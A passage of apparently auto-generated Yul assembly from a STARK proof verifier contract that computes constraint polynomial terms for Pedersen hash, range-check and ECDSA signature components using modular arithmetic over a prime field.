mload(0x2740), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[102]. res := addmod(res, mulmod(val, /*coefficients[102]*/ mload(0x10c0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit192: column22_row208 - column22_row80 * (column18_row192 - (column18_row193 + column18_row193)). let val := addmod( /*column22_row208*/ mload(0x32c0), sub( PRIME, mulmod( /*column22_row80*/ mload(0x3280), addmod( /*column18_row192*/ mload(0x2740), sub( PRIME, addmod(/*column18_row193*/ mload(0x2760), /*column18_row193*/ mload(0x2760), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[103]. res := addmod(res, mulmod(val, /*coefficients[103]*/ mload(0x10e0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones192: column22_row80 * (column18_row193 - 8 * column18_row196). let val := mulmod( /*column22_row80*/ mload(0x3280), addmod( /*column18_row193*/ mload(0x2760), sub(PRIME, mulmod(8, /*column18_row196*/ mload(0x2780), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[104]. res := addmod(res, mulmod(val, /*coefficients[104]*/ mload(0x1100), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/cumulative_bit196: column22_row80 - (column18_row251 - (column18_row252 + column18_row252)) * (column18_row196 - (column18_row197 + column18_row197)). let val := addmod( /*column22_row80*/ mload(0x3280), sub( PRIME, mulmod( addmod( /*column18_row251*/ mload(0x27c0), sub( PRIME, addmod(/*column18_row252*/ mload(0x27e0), /*column18_row252*/ mload(0x27e0), PRIME)), PRIME), addmod( /*column18_row196*/ mload(0x2780), sub( PRIME, addmod(/*column18_row197*/ mload(0x27a0), /*column18_row197*/ mload(0x27a0), PRIME)), PRIME), PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[105]. res := addmod(res, mulmod(val, /*coefficients[105]*/ mload(0x1120), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_unpacking/zeroes_between_ones196: (column18_row251 - (column18_row252 + column18_row252)) * (column18_row197 - 18014398509481984 * column18_row251). let val := mulmod( addmod( /*column18_row251*/ mload(0x27c0), sub( PRIME, addmod(/*column18_row252*/ mload(0x27e0), /*column18_row252*/ mload(0x27e0), PRIME)), PRIME), addmod( /*column18_row197*/ mload(0x27a0), sub(PRIME, mulmod(18014398509481984, /*column18_row251*/ mload(0x27c0), PRIME)), PRIME), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[106]. res := addmod(res, mulmod(val, /*coefficients[106]*/ mload(0x1140), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/booleanity_test: pedersen__hash3__ec_subset_sum__bit_0 * (pedersen__hash3__ec_subset_sum__bit_0 - 1). let val := mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700), addmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[107]. res := addmod(res, mulmod(val, /*coefficients[107]*/ mload(0x1160), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/bit_extraction_end: column18_row0. let val := /*column18_row0*/ mload(0x2700) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(63 * trace_length / 64). // val *= denominator_invs[10]. val := mulmod(val, mload(0x3ca0), PRIME) // res += val * coefficients[108]. res := addmod(res, mulmod(val, /*coefficients[108]*/ mload(0x1180), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/zeros_tail: column18_row0. let val := /*column18_row0*/ mload(0x2700) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[11]. val := mulmod(val, mload(0x3cc0), PRIME) // res += val * coefficients[109]. res := addmod(res, mulmod(val, /*coefficients[109]*/ mload(0x11a0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/add_points/slope: pedersen__hash3__ec_subset_sum__bit_0 * (column16_row0 - pedersen__points__y) - column17_row0 * (column15_row0 - pedersen__points__x). let val := addmod( mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700), addmod( /*column16_row0*/ mload(0x2640), sub(PRIME, /*periodic_column/pedersen/points/y*/ mload(0x20)), PRIME), PRIME), sub( PRIME, mulmod( /*column17_row0*/ mload(0x26c0), addmod( /*column15_row0*/ mload(0x25a0), sub(PRIME, /*periodic_column/pedersen/points/x*/ mload(0x0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[110]. res := addmod(res, mulmod(val, /*coefficients[110]*/ mload(0x11c0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/add_points/x: column17_row0 * column17_row0 - pedersen__hash3__ec_subset_sum__bit_0 * (column15_row0 + pedersen__points__x + column15_row1). let val := addmod( mulmod(/*column17_row0*/ mload(0x26c0), /*column17_row0*/ mload(0x26c0), PRIME), sub( PRIME, mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700), addmod( addmod( /*column15_row0*/ mload(0x25a0), /*periodic_column/pedersen/points/x*/ mload(0x0), PRIME), /*column15_row1*/ mload(0x25c0), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[111]. res := addmod(res, mulmod(val, /*coefficients[111]*/ mload(0x11e0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/add_points/y: pedersen__hash3__ec_subset_sum__bit_0 * (column16_row0 + column16_row1) - column17_row0 * (column15_row0 - column15_row1). let val := addmod( mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_0*/ mload(0x3700), addmod(/*column16_row0*/ mload(0x2640), /*column16_row1*/ mload(0x2660), PRIME), PRIME), sub( PRIME, mulmod( /*column17_row0*/ mload(0x26c0), addmod(/*column15_row0*/ mload(0x25a0), sub(PRIME, /*column15_row1*/ mload(0x25c0)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[112]. res := addmod(res, mulmod(val, /*coefficients[112]*/ mload(0x1200), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/copy_point/x: pedersen__hash3__ec_subset_sum__bit_neg_0 * (column15_row1 - column15_row0). let val := mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0*/ mload(0x3720), addmod(/*column15_row1*/ mload(0x25c0), sub(PRIME, /*column15_row0*/ mload(0x25a0)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[113]. res := addmod(res, mulmod(val, /*coefficients[113]*/ mload(0x1220), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/ec_subset_sum/copy_point/y: pedersen__hash3__ec_subset_sum__bit_neg_0 * (column16_row1 - column16_row0). let val := mulmod( /*intermediate_value/pedersen/hash3/ec_subset_sum/bit_neg_0*/ mload(0x3720), addmod(/*column16_row1*/ mload(0x2660), sub(PRIME, /*column16_row0*/ mload(0x2640)), PRIME), PRIME) // Numerator: point^(trace_length / 256) - trace_generator^(255 * trace_length / 256). // val *= numerators[4]. val := mulmod(val, mload(0x4120), PRIME) // Denominator: point^trace_length - 1. // val *= denominator_invs[0]. val := mulmod(val, mload(0x3b60), PRIME) // res += val * coefficients[114]. res := addmod(res, mulmod(val, /*coefficients[114]*/ mload(0x1240), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/copy_point/x: column15_row256 - column15_row255. let val := addmod( /*column15_row256*/ mload(0x2600), sub(PRIME, /*column15_row255*/ mload(0x25e0)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[115]. res := addmod(res, mulmod(val, /*coefficients[115]*/ mload(0x1260), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/copy_point/y: column16_row256 - column16_row255. let val := addmod( /*column16_row256*/ mload(0x26a0), sub(PRIME, /*column16_row255*/ mload(0x2680)), PRIME) // Numerator: point^(trace_length / 512) - trace_generator^(trace_length / 2). // val *= numerators[5]. val := mulmod(val, mload(0x4140), PRIME) // Denominator: point^(trace_length / 256) - 1. // val *= denominator_invs[9]. val := mulmod(val, mload(0x3c80), PRIME) // res += val * coefficients[116]. res := addmod(res, mulmod(val, /*coefficients[116]*/ mload(0x1280), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/init/x: column15_row0 - pedersen/shift_point.x. let val := addmod( /*column15_row0*/ mload(0x25a0), sub(PRIME, /*pedersen/shift_point.x*/ mload(0x240)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[117]. res := addmod(res, mulmod(val, /*coefficients[117]*/ mload(0x12a0), PRIME), PRIME) } { // Constraint expression for pedersen/hash3/init/y: column16_row0 - pedersen/shift_point.y. let val := addmod( /*column16_row0*/ mload(0x2640), sub(PRIME, /*pedersen/shift_point.y*/ mload(0x260)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[118]. res := addmod(res, mulmod(val, /*coefficients[118]*/ mload(0x12c0), PRIME), PRIME) } { // Constraint expression for pedersen/input0_value0: column19_row7 - column6_row0. let val := addmod(/*column19_row7*/ mload(0x2900), sub(PRIME, /*column6_row0*/ mload(0x1f80)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[119]. res := addmod(res, mulmod(val, /*coefficients[119]*/ mload(0x12e0), PRIME), PRIME) } { // Constraint expression for pedersen/input0_value1: column19_row135 - column10_row0. let val := addmod( /*column19_row135*/ mload(0x2ae0), sub(PRIME, /*column10_row0*/ mload(0x2200)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[120]. res := addmod(res, mulmod(val, /*coefficients[120]*/ mload(0x1300), PRIME), PRIME) } { // Constraint expression for pedersen/input0_value2: column19_row263 - column14_row0. let val := addmod( /*column19_row263*/ mload(0x2b60), sub(PRIME, /*column14_row0*/ mload(0x2480)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[121]. res := addmod(res, mulmod(val, /*coefficients[121]*/ mload(0x1320), PRIME), PRIME) } { // Constraint expression for pedersen/input0_value3: column19_row391 - column18_row0. let val := addmod( /*column19_row391*/ mload(0x2bc0), sub(PRIME, /*column18_row0*/ mload(0x2700)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[122]. res := addmod(res, mulmod(val, /*coefficients[122]*/ mload(0x1340), PRIME), PRIME) } { // Constraint expression for pedersen/input0_addr: column19_row134 - (column19_row38 + 1). let val := addmod( /*column19_row134*/ mload(0x2ac0), sub(PRIME, addmod(/*column19_row38*/ mload(0x2a00), 1, PRIME)), PRIME) // Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)). // val *= numerators[6]. val := mulmod(val, mload(0x4160), PRIME) // Denominator: point^(trace_length / 128) - 1. // val *= denominator_invs[13]. val := mulmod(val, mload(0x3d00), PRIME) // res += val * coefficients[123]. res := addmod(res, mulmod(val, /*coefficients[123]*/ mload(0x1360), PRIME), PRIME) } { // Constraint expression for pedersen/init_addr: column19_row6 - initial_pedersen_addr. let val := addmod( /*column19_row6*/ mload(0x28e0), sub(PRIME, /*initial_pedersen_addr*/ mload(0x280)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[124]. res := addmod(res, mulmod(val, /*coefficients[124]*/ mload(0x1380), PRIME), PRIME) } { // Constraint expression for pedersen/input1_value0: column19_row71 - column6_row256. let val := addmod( /*column19_row71*/ mload(0x2a60), sub(PRIME, /*column6_row256*/ mload(0x2080)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[125]. res := addmod(res, mulmod(val, /*coefficients[125]*/ mload(0x13a0), PRIME), PRIME) } { // Constraint expression for pedersen/input1_value1: column19_row199 - column10_row256. let val := addmod( /*column19_row199*/ mload(0x2b20), sub(PRIME, /*column10_row256*/ mload(0x2300)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[126]. res := addmod(res, mulmod(val, /*coefficients[126]*/ mload(0x13c0), PRIME), PRIME) } { // Constraint expression for pedersen/input1_value2: column19_row327 - column14_row256. let val := addmod( /*column19_row327*/ mload(0x2ba0), sub(PRIME, /*column14_row256*/ mload(0x2580)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[127]. res := addmod(res, mulmod(val, /*coefficients[127]*/ mload(0x13e0), PRIME), PRIME) } { // Constraint expression for pedersen/input1_value3: column19_row455 - column18_row256. let val := addmod( /*column19_row455*/ mload(0x2c00), sub(PRIME, /*column18_row256*/ mload(0x2800)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[128]. res := addmod(res, mulmod(val, /*coefficients[128]*/ mload(0x1400), PRIME), PRIME) } { // Constraint expression for pedersen/input1_addr: column19_row70 - (column19_row6 + 1). let val := addmod( /*column19_row70*/ mload(0x2a40), sub(PRIME, addmod(/*column19_row6*/ mload(0x28e0), 1, PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 128) - 1. // val *= denominator_invs[13]. val := mulmod(val, mload(0x3d00), PRIME) // res += val * coefficients[129]. res := addmod(res, mulmod(val, /*coefficients[129]*/ mload(0x1420), PRIME), PRIME) } { // Constraint expression for pedersen/output_value0: column19_row39 - column3_row511. let val := addmod( /*column19_row39*/ mload(0x2a20), sub(PRIME, /*column3_row511*/ mload(0x1ea0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[130]. res := addmod(res, mulmod(val, /*coefficients[130]*/ mload(0x1440), PRIME), PRIME) } { // Constraint expression for pedersen/output_value1: column19_row167 - column7_row511. let val := addmod( /*column19_row167*/ mload(0x2b00), sub(PRIME, /*column7_row511*/ mload(0x2120)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[131]. res := addmod(res, mulmod(val, /*coefficients[131]*/ mload(0x1460), PRIME), PRIME) } { // Constraint expression for pedersen/output_value2: column19_row295 - column11_row511. let val := addmod( /*column19_row295*/ mload(0x2b80), sub(PRIME, /*column11_row511*/ mload(0x23a0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[132]. res := addmod(res, mulmod(val, /*coefficients[132]*/ mload(0x1480), PRIME), PRIME) } { // Constraint expression for pedersen/output_value3: column19_row423 - column15_row511. let val := addmod( /*column19_row423*/ mload(0x2be0), sub(PRIME, /*column15_row511*/ mload(0x2620)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 512) - 1. // val *= denominator_invs[12]. val := mulmod(val, mload(0x3ce0), PRIME) // res += val * coefficients[133]. res := addmod(res, mulmod(val, /*coefficients[133]*/ mload(0x14a0), PRIME), PRIME) } { // Constraint expression for pedersen/output_addr: column19_row38 - (column19_row70 + 1). let val := addmod( /*column19_row38*/ mload(0x2a00), sub(PRIME, addmod(/*column19_row70*/ mload(0x2a40), 1, PRIME)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 128) - 1. // val *= denominator_invs[13]. val := mulmod(val, mload(0x3d00), PRIME) // res += val * coefficients[134]. res := addmod(res, mulmod(val, /*coefficients[134]*/ mload(0x14c0), PRIME), PRIME) } { // Constraint expression for rc_builtin/value: rc_builtin__value7_0 - column19_row103. let val := addmod( /*intermediate_value/rc_builtin/value7_0*/ mload(0x3820), sub(PRIME, /*column19_row103*/ mload(0x2aa0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 128) - 1. // val *= denominator_invs[13]. val := mulmod(val, mload(0x3d00), PRIME) // res += val * coefficients[135]. res := addmod(res, mulmod(val, /*coefficients[135]*/ mload(0x14e0), PRIME), PRIME) } { // Constraint expression for rc_builtin/addr_step: column19_row230 - (column19_row102 + 1). let val := addmod( /*column19_row230*/ mload(0x2b40), sub(PRIME, addmod(/*column19_row102*/ mload(0x2a80), 1, PRIME)), PRIME) // Numerator: point - trace_generator^(128 * (trace_length / 128 - 1)). // val *= numerators[6]. val := mulmod(val, mload(0x4160), PRIME) // Denominator: point^(trace_length / 128) - 1. // val *= denominator_invs[13]. val := mulmod(val, mload(0x3d00), PRIME) // res += val * coefficients[136]. res := addmod(res, mulmod(val, /*coefficients[136]*/ mload(0x1500), PRIME), PRIME) } { // Constraint expression for rc_builtin/init_addr: column19_row102 - initial_rc_addr. let val := addmod( /*column19_row102*/ mload(0x2a80), sub(PRIME, /*initial_rc_addr*/ mload(0x2a0)), PRIME) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point - 1. // val *= denominator_invs[3]. val := mulmod(val, mload(0x3bc0), PRIME) // res += val * coefficients[137]. res := addmod(res, mulmod(val, /*coefficients[137]*/ mload(0x1520), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/doubling_key/slope: ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa__signature0__doubling_key__x_squared + ecdsa/sig_config.alpha - (column21_row14 + column21_row14) * column21_row1. let val := addmod( addmod( addmod( addmod( /*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x3840), /*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x3840), PRIME), /*intermediate_value/ecdsa/signature0/doubling_key/x_squared*/ mload(0x3840), PRIME), /*ecdsa/sig_config.alpha*/ mload(0x2c0), PRIME), sub( PRIME, mulmod( addmod(/*column21_row14*/ mload(0x2ec0), /*column21_row14*/ mload(0x2ec0), PRIME), /*column21_row1*/ mload(0x2d20), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[138]. res := addmod(res, mulmod(val, /*coefficients[138]*/ mload(0x1540), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/doubling_key/x: column21_row1 * column21_row1 - (column21_row6 + column21_row6 + column21_row22). let val := addmod( mulmod(/*column21_row1*/ mload(0x2d20), /*column21_row1*/ mload(0x2d20), PRIME), sub( PRIME, addmod( addmod(/*column21_row6*/ mload(0x2dc0), /*column21_row6*/ mload(0x2dc0), PRIME), /*column21_row22*/ mload(0x2f60), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[139]. res := addmod(res, mulmod(val, /*coefficients[139]*/ mload(0x1560), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/doubling_key/y: column21_row14 + column21_row30 - column21_row1 * (column21_row6 - column21_row22). let val := addmod( addmod(/*column21_row14*/ mload(0x2ec0), /*column21_row30*/ mload(0x2fe0), PRIME), sub( PRIME, mulmod( /*column21_row1*/ mload(0x2d20), addmod( /*column21_row6*/ mload(0x2dc0), sub(PRIME, /*column21_row22*/ mload(0x2f60)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 4096) - trace_generator^(255 * trace_length / 256). // val *= numerators[7]. val := mulmod(val, mload(0x4180), PRIME) // Denominator: point^(trace_length / 16) - 1. // val *= denominator_invs[2]. val := mulmod(val, mload(0x3ba0), PRIME) // res += val * coefficients[140]. res := addmod(res, mulmod(val, /*coefficients[140]*/ mload(0x1580), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/booleanity_test: ecdsa__signature0__exponentiate_generator__bit_0 * (ecdsa__signature0__exponentiate_generator__bit_0 - 1). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860), addmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860), sub(PRIME, 1), PRIME), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[141]. res := addmod(res, mulmod(val, /*coefficients[141]*/ mload(0x15a0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/bit_extraction_end: column21_row31. let val := /*column21_row31*/ mload(0x3000) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - trace_generator^(251 * trace_length / 256). // val *= denominator_invs[15]. val := mulmod(val, mload(0x3d40), PRIME) // res += val * coefficients[142]. res := addmod(res, mulmod(val, /*coefficients[142]*/ mload(0x15c0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/zeros_tail: column21_row31. let val := /*column21_row31*/ mload(0x3000) // Numerator: 1. // val *= 1. // val := mulmod(val, 1, PRIME). // Denominator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= denominator_invs[16]. val := mulmod(val, mload(0x3d60), PRIME) // res += val * coefficients[143]. res := addmod(res, mulmod(val, /*coefficients[143]*/ mload(0x15e0), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/slope: ecdsa__signature0__exponentiate_generator__bit_0 * (column21_row23 - ecdsa__generator_points__y) - column21_row15 * (column21_row7 - ecdsa__generator_points__x). let val := addmod( mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860), addmod( /*column21_row23*/ mload(0x2f80), sub(PRIME, /*periodic_column/ecdsa/generator_points/y*/ mload(0x60)), PRIME), PRIME), sub( PRIME, mulmod( /*column21_row15*/ mload(0x2ee0), addmod( /*column21_row7*/ mload(0x2de0), sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[144]. res := addmod(res, mulmod(val, /*coefficients[144]*/ mload(0x1600), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x: column21_row15 * column21_row15 - ecdsa__signature0__exponentiate_generator__bit_0 * (column21_row7 + ecdsa__generator_points__x + column21_row39). let val := addmod( mulmod(/*column21_row15*/ mload(0x2ee0), /*column21_row15*/ mload(0x2ee0), PRIME), sub( PRIME, mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860), addmod( addmod( /*column21_row7*/ mload(0x2de0), /*periodic_column/ecdsa/generator_points/x*/ mload(0x40), PRIME), /*column21_row39*/ mload(0x3020), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[145]. res := addmod(res, mulmod(val, /*coefficients[145]*/ mload(0x1620), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/y: ecdsa__signature0__exponentiate_generator__bit_0 * (column21_row23 + column21_row55) - column21_row15 * (column21_row7 - column21_row39). let val := addmod( mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_0*/ mload(0x3860), addmod(/*column21_row23*/ mload(0x2f80), /*column21_row55*/ mload(0x3040), PRIME), PRIME), sub( PRIME, mulmod( /*column21_row15*/ mload(0x2ee0), addmod( /*column21_row7*/ mload(0x2de0), sub(PRIME, /*column21_row39*/ mload(0x3020)), PRIME), PRIME)), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[146]. res := addmod(res, mulmod(val, /*coefficients[146]*/ mload(0x1640), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/add_points/x_diff_inv: column22_row0 * (column21_row7 - ecdsa__generator_points__x) - 1. let val := addmod( mulmod( /*column22_row0*/ mload(0x3240), addmod( /*column21_row7*/ mload(0x2de0), sub(PRIME, /*periodic_column/ecdsa/generator_points/x*/ mload(0x40)), PRIME), PRIME), sub(PRIME, 1), PRIME) // Numerator: point^(trace_length / 8192) - trace_generator^(255 * trace_length / 256). // val *= numerators[8]. val := mulmod(val, mload(0x41a0), PRIME) // Denominator: point^(trace_length / 32) - 1. // val *= denominator_invs[14]. val := mulmod(val, mload(0x3d20), PRIME) // res += val * coefficients[147]. res := addmod(res, mulmod(val, /*coefficients[147]*/ mload(0x1660), PRIME), PRIME) } { // Constraint expression for ecdsa/signature0/exponentiate_generator/copy_point/x: ecdsa__signature0__exponentiate_generator__bit_neg_0 * (column21_row39 - column21_row7). let val := mulmod( /*intermediate_value/ecdsa/signature0/exponentiate_generator/bit_neg_0*/ mload(0x3880), addmod( /*column21_row39*/ mload(0x3020), sub(PRIME, /*column21_row7*/ mload(0x2de0)), PRIME), PRIME) // Numerator: point^(trace_length / 